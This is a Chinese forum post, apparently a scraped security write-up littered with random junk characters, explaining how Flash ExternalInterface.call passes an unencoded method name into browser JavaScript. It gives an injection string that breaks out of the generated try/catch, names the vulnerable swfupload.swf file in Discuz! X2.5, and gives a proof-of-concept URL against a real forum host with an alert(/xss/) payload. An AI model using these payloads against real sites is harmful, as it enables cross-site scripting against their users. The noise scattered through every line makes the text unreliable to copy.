上回我们说$ t- k8 A4 g( x; X
) w- m( o" B8 ~: j1 Mflash.external.ExternalInterface.call($methodName, $parameter)
4 F9 n. D5 i' L2 `$ n! S8 m在浏览器中执行的是, f) H9 Q) j' p3 v+ Q
8 x7 ^( p7 Z! Dtry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}/ F( i5 ]' `' E! e) I" b$ W. W
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如9 ]' z" |2 ^( u: g
8 i& C* L; u* x& N" f
flash.external.ExternalInterface.call("object."+$methodName, $parameter)3 T# O2 D8 l& ~" A o
$methodName = a())}catch(e){alert(/xss/)}//, j: W$ M: I) A! T. D: G& k2 A+ Y
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。% Z7 y) l e5 j* }
! V) y+ f9 Y/ x4 i5 N# Z. N3 \9 w
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
' K0 ]. a5 Q5 a1 q7 c T7 _5 S8 x0 B: H' J+ \2 {
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )4 [1 w- q4 ?* R
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。5 o" W$ [1 P# {" q
& l. |# i' j4 M% g% H h1 G
4 B: j5 v' Y4 Q' b+ C) f" M
$ c7 k# g3 }3 m# W, I
漏洞文件:upload\static\image\common\swfupload.swf
/ F! I P7 ~6 ~' r6 z% j
) S' y. B! o) G/ A; b* H: O/ J原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
3 e0 n& ]" Y: E' n p, e6 e+ |. w9 n! g8 h) L4 ]9 z& J/ |
8 E1 P& w$ Y3 H9 H: E1 ^漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
& a! X; \, k$ r, T1 p
+ u s# ?/ _& T/ h( Q3 _; O* j- d
' x1 Z* m1 [8 d7 |, c' Q& x0 l0 v+ M |